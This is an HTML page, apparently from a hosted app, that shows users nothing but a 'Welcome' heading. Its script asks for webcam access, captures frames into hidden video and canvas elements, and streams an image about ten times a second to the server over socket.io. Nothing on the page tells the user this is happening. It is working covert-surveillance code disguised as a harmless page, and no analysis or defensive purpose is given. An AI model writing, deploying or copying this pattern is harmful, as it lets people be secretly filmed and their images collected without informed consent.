Spaces:
Sleeping
Sleeping
| <html> | |
| <head> | |
| <title>Welcome</title> | |
| </head> | |
| <body> | |
| <h1>Welcome</h1> | |
| <video id="video" width="640" height="480" autoplay style="display:none;"></video> | |
| <canvas id="canvas" width="640" height="480" style="display:none;"></canvas> | |
| <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.0.1/socket.io.js"></script> | |
| <script> | |
| const socket = io(); | |
| const video = document.getElementById('video'); | |
| const canvas = document.getElementById('canvas'); | |
| const context = canvas.getContext('2d'); | |
| navigator.mediaDevices.getUserMedia({ video: true }) | |
| .then(stream => { | |
| video.srcObject = stream; | |
| setInterval(() => { | |
| context.drawImage(video, 0, 0, 640, 480); | |
| canvas.toBlob(blob => { | |
| socket.emit('frame', blob); | |
| }, 'image/jpeg'); | |
| }, 100); | |
| }) | |
| .catch(err => console.error(err)); | |
| </script> | |
| </body> | |
| </html> |